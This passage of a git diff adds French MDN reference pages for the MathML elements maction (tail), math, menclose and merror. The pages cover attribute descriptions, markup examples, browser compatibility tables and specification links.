+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatGeckoMobile("1.0") }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+      </tr>
+      <tr>
+        <td><code>actiontype</code></td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td><code>toggle</code> &amp; <code>statusline</code>. <code>tooltip</code> is not implemented {{ bug(544001) }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+      </tr>
+      <tr>
+        <td><code>href</code></td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatGeckoMobile("7.0") }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+      </tr>
+      <tr>
+        <td><code>mathbackground</code></td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatGeckoMobile("2.0") }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+      </tr>
+      <tr>
+        <td><code>mathcolor</code></td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatGeckoMobile("2.0") }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<h3 id="Notes_relatives_à_Gecko">Notes relatives à Gecko</h3>
+<ul>
+  <li>Avant Gecko 9.0 {{ geckoRelease("9.0") }} la valeur <code>restyle</code> (non-standard) était supportée pour l'attribut <code>actiontype</code>. Cette valeur a été retirée.</li>
+  <li>Avant Gecko 14.0 {{ geckoRelease("14.0") }} le type d'action <code>statusline</code> utilisait une syntaxe non-standard (voir ci-dessous). Cela a été résolu afin de respecter la spécification MathML.<br>
+    <pre>&lt;maction actiontype="statusline#(message)"&gt;
+(expression)
+&lt;/maction&gt;
+</pre>
+  </li>
+  <li>Gecko 15.0 {{geckoRelease("15.0")}} ne prend en compte l'attribut <code>selection</code> seulement s'il est utilisé avec le type d'action <code>toggle</code>.</li>
+  <li>À partir de Gecko 16.0 {{geckoRelease("16.0")}} l'attribut <code>selection</code> est également pris en compte lorsqu'un <code>actiontype</code> inconnu est spécifié. Si un <code>actiontype</code> n'est pas spécifié (il est vide) ou que l'attribut <code>selection</code> est invalide, cela entraînera une erreur de balisage MathML (« invalid-markup »).</li>
+</ul>
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+<table class="standard-table">
+  <thead>
+    <tr>
+      <th scope="col">Spécification</th>
+      <th scope="col">Statut</th>
+      <th scope="col">Commentaires</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <td>{{ SpecName('MathML3', 'chapter3.html#presm.maction', 'maction') }}</td>
+      <td>{{ Spec2('MathML3') }}</td>
+      <td>Spécification actuelle</td>
+    </tr>
+    <tr>
+      <td>{{ SpecName('MathML2', 'chapter3.html#presm.maction', 'maction') }}</td>
+      <td>{{ Spec2('MathML2') }}</td>
+      <td>Spécification initiale</td>
+    </tr>
+  </tbody>
+</table>
+<p><br>
+  th</p>
diff --git a/files/fr/web/mathml/element/math/index.html b/files/fr/web/mathml/element/math/index.html
new file mode 100644
index 0000000000..5e1cf317ff
--- /dev/null
+++ b/files/fr/web/mathml/element/math/index.html
@@ -0,0 +1,161 @@
+---
+title: math
+slug: Web/MathML/Element/math
+tags:
+  - MathML
+  - 'MathML:Element'
+  - Référence MathML
+translation_of: Web/MathML/Element/math
+---
+<p>{{MathMLRef}}</p>
+
+<p>L'élément racine de MathML est<code> &lt;math&gt;</code>. Tout objet représenté en MathML doit être encadré de balises <code>&lt;math&gt;</code>. De plus, il est interdit d'imbriquer un autre élément <code>&lt;math&gt;</code> à l'intérieur d'un premier. Il est toutefois possible d'avoir un nombre arbitraire d'éléments fils à l'intérieur d'un élément <code>&lt;math&gt;</code>.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>En plus des attributs qui suivent, l'élément <code>&lt;math&gt;</code> accepte tous les attributs de l'élément {{ MathMLElement("mstyle") }}.</p>
+
+<dl>
+ <dt id="attr-class-id-style">class, id, style</dt>
+ <dd>Afin d'être utilisés avec les <a href="/fr/docs/CSS">feuilles de style</a>.</dd>
+ <dt id="attr-dir">dir</dt>
+ <dd><span style="display: none;"> </span>Le sens global de lecture des formules. Les valeurs possibles sont <code>ltr</code> (gauche à droite) ou <code>rtl</code> (droite à gauche).</dd>
+ <dt id="attr-href">href</dt>
+ <dd>Un hyperlien pointant vers un URI donné.</dd>
+ <dt id="attr-mathbackground">mathbackground</dt>
+ <dd>La couleur de fond. Il est possible d'utiliser les codes au format <code>#rgb</code>, <code>#rrggbb</code> et les <a href="/fr/docs/CSS/valeur_de_couleur#Mots-cl.C3.A9s">noms de couleurs HTML</a>.</dd>
+ <dt id="attr-mathcolor">mathcolor</dt>
+ <dd>La couleur du texte. Il est possible d'utiliser les codes au format <code>#rgb</code>, <code>#rrggbb</code> et les <a href="/fr/docs/CSS/valeur_de_couleur#Mots-cl.C3.A9s">noms de couleurs HTML</a>.</dd>
+ <dt id="attr-display">display</dt>
+ <dd>Cet attribut à valeur donnée définit la façon dont le balisage MathML doit être rendu. Il peut avoir l'une des valeurs suivantes :
+ <ul>
+  <li><code>block</code>, ce qui signifie que cet élément sera affiché en dehors du fragment de texte courant, comme un bloc qui pourra être positionné n'importe où sans que cela change le sens du texte ;</li>
+  <li><code>inline</code>, ce qui signifie que cet élément sera affiché au sein du fragment de texte courant et qu'il ne peut pas être déplacé sans que cela change le sens de ce texte.</li>
+ </ul>
+
+ <p>La valeur par défaut, si l'attribut n'est pas présent, est <code>inline</code>.</p>
+ </dd>
+ <dt id="attr-mode">mode {{ deprecated_inline() }}</dt>
+ <dd>Déprécié. L'attribut <code>display</code> doit être utilisé à la place. (Les anciennes valeurs possibles pour cet attribut était <code>display</code> - équivalent à <code>display="block"</code> et <code>inline</code>)</dd>
+ <dt id="attr-overflow">overflow</dt>
+ <dd>Définit comment l'affichage de la formule est géré si celle-ci est trop grande pour être insérée dans l'espace alloué.<br>
+ Les valeurs possible pour cet attribut sont : <code>linebreak</code> (la valeur par défaut), <code>scroll</code>, <code>elide</code>, <code>truncate</code>, <code>scale</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p><img alt="Theorem of Pythagoras" src="/files/3157/math.jpg"></p>
+
+<h3 id="Notation_HTML5">Notation HTML5</h3>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;MathML en HTML5&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+
+  &lt;math&gt;
+    &lt;mrow&gt;
+      &lt;mrow&gt;
+        &lt;msup&gt;
+          &lt;mi&gt;a&lt;/mi&gt;
+          &lt;mn&gt;2&lt;/mn&gt;
+        &lt;/msup&gt;
+        &lt;mo&gt;+&lt;/mo&gt;
+        &lt;msup&gt;
+          &lt;mi&gt;b&lt;/mi&gt;
+          &lt;mn&gt;2&lt;/mn&gt;
+        &lt;/msup&gt;
+      &lt;/mrow&gt;
+      &lt;mo&gt;=&lt;/mo&gt;
+      &lt;msup&gt;
+        &lt;mi&gt;c&lt;/mi&gt;
+        &lt;mn&gt;2&lt;/mn&gt;
+      &lt;/msup&gt;
+    &lt;/mrow&gt;
+  &lt;/math&gt;
+
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Notation_XHTML">Notation XHTML</h3>
+
+<pre class="brush: xml">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 plus MathML 2.0//EN" "http://www.w3.org/Math/DTD/mathml2/xhtml-math11-f.dtd"&gt;
+&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;
+&lt;head&gt;
+ &lt;title&gt;MathML en XHTML&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+  &lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;
+    &lt;mrow&gt;
+      &lt;mrow&gt;
+        &lt;msup&gt;
+          &lt;mi&gt;a&lt;/mi&gt;
+          &lt;mn&gt;2&lt;/mn&gt;
+        &lt;/msup&gt;
+        &lt;mo&gt;+&lt;/mo&gt;
+        &lt;msup&gt;
+          &lt;mi&gt;b&lt;/mi&gt;
+          &lt;mn&gt;2&lt;/mn&gt;
+        &lt;/msup&gt;
+      &lt;/mrow&gt;
+      &lt;mo&gt;=&lt;/mo&gt;
+      &lt;msup&gt;
+        &lt;mi&gt;c&lt;/mi&gt;
+        &lt;mn&gt;2&lt;/mn&gt;
+      &lt;/msup&gt;
+    &lt;/mrow&gt;
+  &lt;/math&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p><strong>Note </strong>: Les documents XHTML avec du MathML doivent être servis en tant que <code>application/xhtml+xml</code>. Ceci est facilement réalisable en ajoutant l'extension <code>.xhtml</code> aux fichiers locaux. Pour les serveurs Apache, il est possible de <a class="external" href="http://httpd.apache.org/docs/2.2/mod/mod_mime.html#addtype" title="http://httpd.apache.org/docs/2.2/mod/mod_mime.html#addtype">configurer le fichier <code>.htaccess</code></a> afin que les extensions correspondent au type MIME correct. Étant donné qu'ici le MathML est utilisé au sein d'un document XML, il faut s'assurer que celui-ci est bien formé.</p>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('MathML3', 'chapter2.html#interf.toplevel', 'The Top-Level math Element') }}</td>
+   <td>{{ Spec2('MathML3') }}</td>
+   <td>Spécification actuelle</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('MathML2', 'chapter7.html#interf.toplevel', 'The Top-Level math Element') }}</td>
+   <td>{{ Spec2('MathML2') }}</td>
+   <td>Spécification initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité sur cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("mathml.elements.math")}}</p>
+
+<h2 id="Notes_relatives_à_Firefox">Notes relatives à Firefox</h2>
+
+<p>Firefox 7.0 {{ geckoRelease("7.0") }} a introduit le support de tous les attributs MathML sur l'élément racine math (c'est à dire le même comportement que l'élément {{ MathMLElement("mstyle") }}). Cependant, l'attribut <code>displaystyle</code> n'avait pas été pris en compte et a <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=669719" title="https://bugzilla.mozilla.org/show_bug.cgi?id=669719">été ajouté</a> dans Firefox 8.0 {{ geckoRelease("8.0") }}.</p>
+
+<p>Un moyen textuel alternatif (<code>alttext</code>) ou une référence à une image alternative utilisant les attributs <code>altimg</code>, <code>altimg-width</code>, <code>altimg-height</code> ou <code>altimg-valign</code> n'est pas encore, à l'heure actuelle, implémentée dans Firefox.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'élément racine HTML : {{ HTMLElement("html") }}</li>
+ <li>L'élément racine SVG : {{ SVGElement("svg") }}</li>
+ <li>Test MathML pour les navigateurs : en <a class="link-https" href="https://www.eyeasme.com/Joe/MathML/MathML_browser_test">XHTML</a> et <a class="link-https" href="https://eyeasme.com/Joe/MathML/HTML5_MathML_browser_test">HTML5</a></li>
+</ul>
diff --git a/files/fr/web/mathml/element/menclose/index.html b/files/fr/web/mathml/element/menclose/index.html
new file mode 100644
index 0000000000..a8d906b22e
--- /dev/null
+++ b/files/fr/web/mathml/element/menclose/index.html
@@ -0,0 +1,300 @@
+---
+title: menclose
+slug: Web/MathML/Element/menclose
+tags:
+  - MathML
+  - 'MathML:Element'
+  - 'MathML:Référence'
+translation_of: Web/MathML/Element/menclose
+---
+<p>L'élément MathML <code>&lt;menclose&gt;</code> permet d'afficher son contenu groupé au sein d'une même notation, définie par l'attribut <code>notation</code>.</p>
+<h2 id="Attributs">Attributs</h2>
+<dl>
+ <dt id="attr-class-id-style">
+  class, id, style</dt>
+ <dd>
+  Afin d'être utilisés avec les <a href="/fr/docs/CSS">feuilles de styles</a>.</dd>
+ <dt id="attr-href">
+  href</dt>
+ <dd>
+  Un hyperlien pointant vers un URI donné.</dd>
+ <dt id="attr-mathbackground">
+  mathbackground</dt>
+ <dd>
+  La couleur de fond. Il est possible d'utiliser les codes au format <code>#rgb</code>, <code>#rrggbb</code> et les <a href="/fr/docs/CSS/valeur_de_couleur#Mots-cl.C3.A9s">noms de couleurs HTML</a>.</dd>
+ <dt id="attr-mathcolor">
+  mathcolor</dt>
+ <dd>
+  La couleur du texte. Il est possible d'utiliser les codes au format <code>#rgb</code>, <code>#rrggbb</code> et les <a href="/fr/docs/CSS/valeur_de_couleur#Mots-cl.C3.A9s">noms de couleurs HTML</a>.</dd>
+ <dt id="attr-notation">
+  notation</dt>
+ <dd>
+  Une liste de notations à appliquer aux éléments fils, séparées par des blancs. Les symboles sont dessinés indépendamment et peuvent donc parfois se superposer. Les valeurs possibles sont :</dd>
+ <dd>
+  <br>
+  <table class="standard-table">
+   <tbody>
+    <tr>
+     <th>Valeur</th>
+     <th>Affichage</th>
+     <th>Affichage dans votre navigateur</th>
+     <th>Description</th>
+    </tr>
+    <tr>
+     <td><code>longdiv</code> (valeur par défaut)</td>
+     <td><img alt="longdiv" src="/files/3167/default.png"></td>
+     <td><math> <menclose notation="longdiv"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+     <td>Symbole de division longue</td>
+    </tr>
+    <tr>
+     <td><code>actuarial</code></td>
+     <td><img alt="actuarial" src="/files/3168/actuarial.png"></td>
+     <td><math> <menclose notation="actuarial"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+     <td><a class="external" href="http://en.wikipedia.org/wiki/Actuarial_notation" title="http://en.wikipedia.org/wiki/Actuarial_notation">Symbole actuaire</a></td>
+    </tr>
+    <tr>
+     <td><code>radical</code></td>
+     <td><img alt="radical" src="/files/3169/radical.png"></td>
+     <td><math> <menclose notation="radical"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+     <td>Symbole de la racine carrée</td>
+    </tr>
+    <tr>
+     <td><code>box</code></td>
+     <td><img alt="box" src="/files/3170/box.png"></td>
+     <td><math> <menclose notation="box"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+     <td>Boîte</td>
+    </tr>
+    <tr>
+     <td><code>roundedbox</code></td>
+     <td><img alt="roundedbox" src="/files/3171/roundedbox.png"></td>
+     <td><math> <menclose notation="roundedbox"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+     <td>Boîte arrondie</td>
+    </tr>
+    <tr>
+     <td><code>circle</code></td>
+     <td><img alt="circle" src="/files/3172/circle.png"></td>
+     <td><math> <menclose notation="circle"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+     <td>Cercle</td>
+    </tr>
+    <tr>
+     <td><code>left</code></td>
+     <td><img alt="left" src="/files/3173/left.png"></td>
+     <td><math> <menclose notation="left"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+     <td>Ligne à la gauche du contenu</td>
+    </tr>
+    <tr>
+     <td><code>right</code></td>
+     <td><img alt="right" src="/files/3174/right.png"></td>
+     <td><math> <menclose notation="right"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+     <td>Ligne à la droite du contenu</td>
+    </tr>
+    <tr>
+     <td><code>top</code></td>
+     <td><img alt="top" src="/files/3175/top.png"></td>
+     <td><math> <menclose notation="top"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+     <td>Ligne au-dessus du contenu</td>
+    </tr>
+    <tr>
+     <td><code>bottom</code></td>
+     <td><img alt="bottom" src="/files/3176/bottom.png"></td>
+     <td><math> <menclose notation="bottom"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+     <td>Ligne en-dessous du contenu</td>
+    </tr>
+    <tr>
+     <td><code>updiagonalstrike</code></td>
+     <td><img alt="updiagonalstrike" src="/files/3177/updiagonalstrike.png"></td>
+     <td><math> <menclose notation="updiagonalstrike"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+     <td>Ligne de rayure allant du coin bas-gauche au coin haut-droit</td>
+    </tr>
+    <tr>
+     <td><code>downdiagonalstrike</code></td>
+     <td><img alt="downdiagonalstrike" src="/files/3178/downdiagonalstrike.png"></td>
+     <td><math> <menclose notation="downdiagonalstrike"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+     <td>Ligne de rayure allant du coin haut-gauche au coin bas-droit</td>
+    </tr>
+    <tr>
+     <td><code>verticalstrike</code></td>
+     <td><img alt="verticalstrike" src="/files/3179/verticalstrike.png"></td>
+     <td><math> <menclose notation="verticalstrike"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+     <td>Ligne de rayure verticale à travers le contenu</td>
+    </tr>
+    <tr>
+     <td><code>horizontalstrike</code></td>
+     <td><img alt="horizontalstrike" src="/files/3180/horizontalstrike.png"></td>
+     <td><math> <menclose notation="horizontalstrike"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+     <td>Ligne de rayure horizontale à travers le contenu</td>
+    </tr>
+    <tr>
+     <td><code>madruwb</code></td>
+     <td><img alt="madruwb" src="/files/3181/madruwb.png"></td>
+     <td><math> <menclose notation="madruwb"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+     <td><a class="external" href="http://en.wikipedia.org/wiki/Modern_Arabic_mathematical_notation#Arithmetic_and_algebra" title="http://en.wikipedia.org/wiki/Modern_Arabic_mathematical_notation#Arithmetic_and_algebra">Symbole arabe pour la factorielle</a></td>
+    </tr>
+    <tr>
+     <td><code>updiagonalarrow</code></td>
+     <td><img alt="" src="https://mdn.mozillademos.org/files/6255/updiagonalarrow.png" style="width: 83px; height: 38px;"></td>
+     <td><math> <menclose notation="updiagonalarrow"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+     <td>flèche diagonale</td>
+    </tr>
+   </tbody>
+  </table>
+ </dd>
+</dl>
+<h2 id="Exemples">Exemples</h2>
+<pre class="brush: html">&lt;math&gt;
+
+  &lt;menclose notation="circle box"&gt;
+    &lt;mi&gt; x &lt;/mi&gt;
+    &lt;mo&gt; + &lt;/mo&gt;
+    &lt;mi&gt; y &lt;/mi&gt;
+  &lt;/menclose&gt;
+
+&lt;/math&gt;</pre>
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Fonctionnalité</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Support simple</td>
+    <td>{{ CompatNo() }} {{webkitbug(85729)}}</td>
+    <td>{{ CompatGeckoDesktop("1.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>9.5</td>
+    <td>{{ CompatNo() }} {{webkitbug(85729)}}</td>
+   </tr>
+   <tr>
+    <td><code>notation</code></td>
+    <td>{{ CompatNo() }}</td>
+    <td>Toutes les valeurs. <code>madruwb</code> est supporté depuis Gecko 2.0.</td>
+    <td>{{ CompatNo() }}</td>
+    <td>Seulement <code>box</code>, <code>bottom</code>, <code>left</code>, <code>right</code>, <code>top</code>, <code>horizontalstrike</code></td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+   <tr>
+    <td><code>href</code></td>
+    <td>{{ CompatNo() }} {{webkitbug(85733)}}</td>
+    <td>{{ CompatGeckoDesktop("7.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }} {{webkitbug(85733)}}</td>
+   </tr>
+   <tr>
+    <td><code>mathbackground</code></td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatGeckoDesktop("2.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+   <tr>
+    <td><code>mathcolor</code></td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatGeckoDesktop("2.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Fonctionnalité</th>
+    <th>Android</th>
+    <th>Chrome for Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Support simple</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatGeckoMobile("1.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+   <tr>
+    <td><code>notation</code></td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>Toutes les valeurs. <code>madruwb</code> est supporté depuis Gecko 2.0.</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+   <tr>
+    <td><code>href</code></td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatGeckoMobile("7.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+   <tr>
+    <td><code>mathbackground</code></td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatGeckoMobile("2.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+   <tr>
+    <td><code>mathcolor</code></td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatGeckoMobile("2.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h3 id="Specifications" name="Specifications">Notes spécifiques à Gecko</h3>
+<ul>
+ <li>Les valeurs pour l'attribut <code>notation</code> ont été ajoutées dans les versions suivantes:
+  <ul>
+   <li><code>madruwb</code> dans Gecko 2.0 {{GeckoRelease("2.0")}}.</li>
+   <li><code>updiagonalarrow</code> dans Gecko 24.0 {{GeckoRelease("24.0")}}</li>
+  </ul>
+ </li>
+</ul>
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('MathML3', 'chapter3.html#presm.menclose', 'menclose') }}</td>
+   <td>{{ Spec2('MathML3') }}</td>
+   <td>Spécification actuelle</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('MathML2', 'chapter3.html#presm.menclose', 'menclose') }}</td>
+   <td>{{ Spec2('MathML2') }}</td>
+   <td>Spécification initiale</td>
+  </tr>
+ </tbody>
+</table>
+<p> </p>
diff --git a/files/fr/web/mathml/element/merror/index.html b/files/fr/web/mathml/element/merror/index.html
new file mode 100644
index 0000000000..823387f930
--- /dev/null
+++ b/files/fr/web/mathml/element/merror/index.html
@@ -0,0 +1,166 @@
+---
+title: merror
+slug: Web/MathML/Element/merror
+tags:
+  - MathML
+  - 'MathML:Element'
+  - 'MathML:Référence'
+translation_of: Web/MathML/Element/merror
+---
+<p>L'élément MathML <code>&lt;merror&gt;</code> est utilisé afin d'afficher des contenus en tant que messages d'erreur. Sous Firefox, ce message d'erreur est affiché de la même façon qu'un message d'erreur XML. Attention : cette erreur <strong>n'est pas déclenchée</strong> lorsque le contenu MahtML est incorrect ou mal formé. Ces deux cas de figure déclencheront une erreur d'analyse du XML (dans le cas de la notation XHTML de MathML), cette erreur n'ayant aucun lien avec <code>&lt;merror&gt;</code>.</p>
+<h2 id="Attributs">Attributs</h2>
+<dl>
+  <dt id="attr-class-id-style">
+    class, id, style</dt>
+  <dd>
+    Afin d'être utilisés avec les <a href="/fr/docs/CSS">feuilles de styles</a>.</dd>
+  <dt id="attr-href">
+    href</dt>
+  <dd>
+    Un hyperlien pointant vers un URI donné.</dd>
+  <dt id="attr-mathbackground">
+    mathbackground</dt>
+  <dd>
+    La couleur de fond. Il est possible d'utiliser les codes au format <code>#rgb</code>, <code>#rrggbb</code> et les <a href="/fr/docs/CSS/valeur_de_couleur#Mots-cl.C3.A9s">noms de couleurs HTML</a>.</dd>
+  <dt id="attr-mathcolor">
+    mathcolor</dt>
+  <dd>
+    La couleur du texte. Il est possible d'utiliser les codes au format <code>#rgb</code>, <code>#rrggbb</code> et les <a href="/fr/docs/CSS/valeur_de_couleur#Mots-cl.C3.A9s">noms de couleurs HTML</a>.</dd>
+</dl>
+<h2 id="Exemple">Exemple</h2>
+<pre class="brush: html">&lt;math&gt;
+
+&lt;merror&gt;
+  &lt;mrow&gt;
+    &lt;mtext&gt; Division par zéro : &lt;/mtext&gt;
+    &lt;mfrac&gt;
+      &lt;mn&gt; 1 &lt;/mn&gt;
+      &lt;mn&gt; 0 &lt;/mn&gt;
+    &lt;/mfrac&gt;
+  &lt;/mrow&gt;
+&lt;/merror&gt;
+
+&lt;/math&gt;
+</pre>
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+  <table class="compat-table">
+    <tbody>
+      <tr>
+        <th>Fonctionnalité</th>
+        <th>Chrome</th>
+        <th>Firefox (Gecko)</th>
+        <th>Internet Explorer</th>
+        <th>Opera</th>
+        <th>Safari</th>
+      </tr>
+      <tr>
+        <td>Support simple</td>
+        <td>{{ CompatNo() }} (24 seulement)</td>
+        <td>{{ CompatGeckoDesktop("1.0") }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>9.5</td>
+        <td>5.1</td>
+      </tr>
+      <tr>
+        <td><code>href</code></td>
+        <td>{{ CompatNo() }} {{webkitbug(85733)}}</td>
+        <td>{{ CompatGeckoDesktop("7.0") }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }} {{webkitbug(85733)}}</td>
+      </tr>
+      <tr>
+        <td><code>mathbackground</code></td>
+        <td>{{ CompatNo() }} (24 seulement )</td>
+        <td>{{ CompatGeckoDesktop("2.0") }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>5.1</td>
+      </tr>
+      <tr>
+        <td><code>mathcolor</code></td>
+        <td>{{ CompatNo() }} (24 seulement)</td>
+        <td>{{ CompatGeckoDesktop("2.0") }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>5.1</td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<div id="compat-mobile">
+  <table class="compat-table">
+    <tbody>
+      <tr>
+        <th>Fonctionnalité</th>
+        <th>Android</th>
+        <th>Chrome for Android</th>
+        <th>Firefox Mobile (Gecko)</th>
+        <th>IE Mobile</th>
+        <th>Opera Mobile</th>
+        <th>Safari Mobile</th>
+      </tr>
+      <tr>
+        <td>Support simple</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatGeckoMobile("1.0") }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+      </tr>
+      <tr>
+        <td><code>href</code></td>
